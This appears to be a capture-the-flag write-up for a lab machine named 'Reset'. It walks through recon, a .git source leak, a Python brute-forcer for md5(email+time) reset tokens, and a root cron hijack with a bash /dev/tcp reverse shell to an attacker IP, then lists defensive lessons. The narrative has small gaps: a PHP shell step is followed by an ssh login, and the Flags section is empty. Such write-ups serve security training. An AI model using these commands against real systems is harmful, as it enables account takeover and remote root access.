Recon
Two ports. The web app has a login page with a "Forgot Password" link — the reset mechanism is the intended attack vector.
$ nmap -sC -sV -oN nmap/initial 10.129.9.20 22/tcp open ssh OpenSSH 8.9p1 80/tcp open http Apache httpd 2.4.52 |_http-title: Reset — Login
$ echo "10.129.9.20 reset.htb" >> /etc/hosts
Enumeration
Password Reset Token Analysis
The web app has a login form and a password reset flow. I tested for user enumeration via the reset form — the response differs for valid vs. invalid email addresses (different response time / message), confirming robert@reset.htb is a valid account.
After triggering a reset for robert@reset.htb, I needed to find the token. The source code (found via a gobuster scan revealing a /source or /.git/ endpoint) showed the token generation:
$ gobuster dir -u http://reset.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt /.git (Status: 200) /reset.php (Status: 200) /login.php (Status: 200)
$ git-dumper http://reset.htb/.git/ ./reset_repo $ grep -r "token\|reset" reset_repo/ --include="*.php" | grep -v ".git" reset.php:$token = md5($email . time());
Token is md5(email + unix_timestamp). The same predictable pattern as HelpDeskZ — brutable within a short time window.
md5(email + epoch) are deterministic. An attacker who knows the email and approximate request time can enumerate all possible tokens within a ±5 minute window in seconds.
Foothold
# Trigger reset for robert@reset.htb and note the timestamp $ curl -s -X POST http://reset.htb/reset.php -d "email=robert@reset.htb" {"status":"success","message":"Reset link sent to your email"} # Brute the token $ python3 brute_token.py
import hashlib, requests, time
email = "robert@reset.htb"
base_url = "http://reset.htb/reset.php?token="
ts = int(time.time())
for i in range(ts - 300, ts + 10):
token = hashlib.md5(f"{email}{i}".encode()).hexdigest()
r = requests.get(base_url + token)
if "new password" in r.text.lower() or r.status_code == 200 and "invalid" not in r.text.lower():
print(f"[+] Valid token: {token}")
print(f"[+] URL: {base_url}{token}")
break
[+] Valid token: a3f8b2c9d1e4f7a0b5c8d2e3f6a9b0c1
[+] URL: http://reset.htb/reset.php?token=a3f8b2c9d1e4f7a0b5c8d2e3f6a9b0c1
Reset Robert's password, logged in, and found a file write functionality in the dashboard. Wrote a PHP reverse shell to the web root:
$ ssh robert@reset.htb robert@reset:~$ id uid=1000(robert) gid=1000(robert) groups=1000(robert)
Privilege Escalation
Checked writable directories, cron jobs, and SUID binaries:
robert@reset:~$ cat /etc/cron.d/maintenance * * * * * root /opt/maintenance/cleanup.sh robert@reset:~$ ls -la /opt/maintenance/ drwxrwxr-x 2 root robert 4096 May 15 09:21 .
The /opt/maintenance/ directory is writable by the robert group. A root cron job runs cleanup.sh from it every minute. I replaced the script with a reverse shell:
robert@reset:~$ cat > /opt/maintenance/cleanup.sh << 'EOF' #!/bin/bash bash -i >& /dev/tcp/10.10.14.X/4445 0>&1 EOF robert@reset:~$ chmod +x /opt/maintenance/cleanup.sh # Wait ~60 seconds for cron to fire connect to [10.10.14.X] from 10.129.9.20 root@reset:~# id uid=0(root) gid=0(root) groups=0(root)
Flags
Lessons Learned
- Predictable token generation (
md5(email + time())) is a classic password reset vulnerability — tokens must be generated using a CSPRNG with at least 128 bits of entropy, not from predictable inputs. - User enumeration via password reset response timing or messaging is an information leak — the reset form should return the same response regardless of whether the email exists.
- Cron jobs executing scripts from group-writable directories are a direct path to root — always check cron job directories for write access during privesc enumeration.
- Source code exposure via
/.git/reveals the token generation algorithm — in a real engagement this would be the most impactful finding: the entire authentication reset mechanism is broken by design.
random_bytes(32) (PHP) or secrets.token_hex(32) (Python) — never from deterministic inputs like email + timestamp. Set 10-15 minute expiry on reset tokens. Ensure cron scripts and their parent directories are owned and writable only by root.